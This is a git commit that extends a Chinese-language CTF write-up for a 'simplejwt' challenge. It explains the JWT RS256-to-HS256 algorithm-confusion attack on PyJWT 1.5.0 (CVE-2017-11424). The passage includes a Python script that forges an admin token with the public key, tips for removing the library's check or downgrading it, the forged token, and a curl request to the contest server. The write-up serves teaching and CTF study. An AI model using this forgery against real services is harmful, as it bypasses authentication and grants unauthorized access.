simplejwt wp fin (src to be uploaded)

This commit is contained in:
taoky
2020-11-05 16:52:53 +08:00
parent a259359dea
commit ae537004e4
+79 -2
View File
@@ -24,7 +24,7 @@ eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJndWVzdCIsImV4cCI6MTYwNDM3NDE4N30
## ~~公钥被大家知道了也不会怎么样吧~~
在非对称密码中,公钥确实是可以公开的。但是这就牵扯到了 JWT 格式的问题:它的签名算法除了支持 RSA 签名以外,还支持对称的 HMAC 签名(例如 `HS256`),并且修改 JWT 中的签名算法只需要修改 header 的 `alg` 字段,并且让后面的签名仍然让程序认为整个 JWT 是完好而未被篡改的即可。
在非对称密码中,公钥确实是可以公开的。但是这就牵扯到了 JWT 格式的问题:它的签名算法除了支持 RSA 签名以外,还支持对称的 HMAC 签名(例如 `HS256`),并且修改 JWT 中的签名算法只需要修改 header 的 `alg` 字段,并且通过某些方法,仍然让程序认为整个 JWT 是完好而未被篡改的即可。
在使用 RS256 时,程序的流程是:
@@ -43,4 +43,81 @@ eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJndWVzdCIsImV4cCI6MTYwNDM3NDE4N30
- 使用已知的公钥,以 `HS256` 算法重新签名我们修改后的公钥。
- 发给服务器。此时,服务器使用公钥 + `HS256` 算法检查 JWT,发现没有问题,就会认为这是一个合法的 JWT。
[TBD]
目前的 JWT 库基本上都修复了这个问题。
## exp
题目中提到“只是他似乎没有仔细检查每一项依赖的版本”,暗示了网站可能使用了有问题的 JWT 库。Python 的 JWT 库有很多,这里挑选了 PyJWT 作为我们的 JWT 库(当然用别的也行),阅读文档之后很容易就能写出来:
```python
import jwt
PUBLIC_KEY = "-----BEGIN RSA PUBLIC KEY-----\nMIICCgKCAgEAn/KiHQ+/zwE7kY/Xf89PY6SowSb7CUk2b+lSVqC9u+R4BaE/5tNF\neNlneGNny6fQhCRA+Pdw1UJSnNpG26z/uOK8+H7fMb2Da5t/94wavw410sCKVbvf\nft8gKquUaeq//tp20BETeS5MWIXp5EXCE+lEdAHgmWWoMVMIOXwaKTMnCVGJ2SRr\n+xH9147FZqOa/17PYIIHuUDlfeGi+Iu7T6a+QZ0tvmHL6j9Onk/EEONuUDfElonY\nM688jhuAM/FSLfMzdyk23mJk3CKPah48nzVmb1YRyfBWiVFGYQqMCBnWgoGOanpd\n46Fp1ff1zBn4sZTfPSOus/+00D5Lxh6bsbRa6A1vAApfmTcu026lIb7gbG7DU1/s\neDId9s1qA5BJpzWFKO4ztkPGvPTUok8hQBMDaSH1JOoFQgfJIfC7w2CQe+KbodQL\n3akKQDCZhcoA4tf5VC6ODJpFxCn6blML5cD6veOBPJiIk8DBRgmt2AHzOUju+5ns\nQcplOVxW5TFYxLqeJ8FPWqQcVekZ749FjchtAwPlUsoWIH0PTSun38ua8usrwTXb\npBlf4r0wz22FPqaecvp7z6Rj/xfDauDGDSU4hmn/TY9Fr+OmFJPW/9k2RAv7KEFv\nFCLP/3U3r0FMwSe/FPHmt5fjAtsGlZLj+bZsgwFllYeD90VQU8Ds+KkCAwEAAQ==\n-----END RSA PUBLIC KEY-----\n"
payload = {
"sub": "admin",
"exp": 9602085613, # fill in any number you like
}
encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256')
print(encoded)
```
但是如果直接运行的话,会报错。
```
Traceback (most recent call last):
File "exp.py", line 10, in <module>
encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256')
File "<redacted>/venv/lib/python3.7/site-packages/jwt/api_jwt.py", line 65, in encode
json_payload, key, algorithm, headers, json_encoder
File "<redacted>/venv/lib/python3.7/site-packages/jwt/api_jws.py", line 113, in encode
key = alg_obj.prepare_key(key)
File "<redacted>/venv/lib/python3.7/site-packages/jwt/algorithms.py", line 151, in prepare_key
'The specified key is an asymmetric key or x509 certificate and'
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
```
这是因为,PyJWT(以及其他很多 JWT 库)修复这个安全漏洞的方式是:当使用 HS256 encode/decode 的时候,检查密钥的开头是否是非对称加密的公钥,如果是,就报错。可以直接魔改 jwt/algorithms.py 把这一部分的校验去掉,也可以降级到有问题的版本(1.5.0)然后再跑 exp。
获得的一个可用的 JWT 是:
```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6OTYwMjA4NTYxM30.2oxpg6KALSg37msshI8Oddi1TgspKdxoPzOJ0Zyt77I
```
然后请求 `/profile`:
```
curl -H 'Hg-Token: 你的 token' -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6OTYwMjA4NTYxM30.2oxpg6KALSg37msshI8Oddi1TgspKdxoPzOJ0Zyt77I' http://202.38.93.111:10092/profile
```
就好了。
## 题目细节
### 使用的 JWT 库版本
本题使用的是 PyJWT 1.5.0,对应的 CVE 是 [CVE-2017-11424](https://www.cvedetails.com/cve/CVE-2017-11424/)。其实 PyJWT 当时已经考虑到了本题所述的安全问题,但是[在进行校验的时候,没有把所有可能的情况都加入](https://github.com/jpadilla/pyjwt/blob/1.5.0/jwt/algorithms.py#L142)。
```python
invalid_strings = [
b'-----BEGIN PUBLIC KEY-----',
b'-----BEGIN CERTIFICATE-----',
b'ssh-rsa'
]
if any([string_value in key for string_value in invalid_strings]):
raise InvalidKeyError(
'The specified key is an asymmetric key or x509 certificate and'
' should not be used as an HMAC secret.')
```
如果开头是 `-----BEGIN RSA PUBLIC KEY-----` 的话,就能通过这样的逻辑了。因为 FastAPI 是在 PyJWT 1.5.0 之后出现的(如果我没搞错的话),题目为了能够自圆其说……文案就写成了这样子。
### 可以把 algorithm 设置为 none 吗?
把 CTF 和 JWT 放在一起搜索过的同学一定能找到一些常见会出现的安全问题,包括本题使用的问题,以及将 algorithm 设置为 none 来绕过签名检查的问题。
但是本题中,这种做法是不可行的。因为尽管 PyJWT 支持 none,它在 encode/decode 的时候会检查参数中密钥是否被设置,[如果设置了就会报错](https://github.com/jpadilla/pyjwt/blob/1.5.0/jwt/algorithms.py#L116),这是无法绕过的。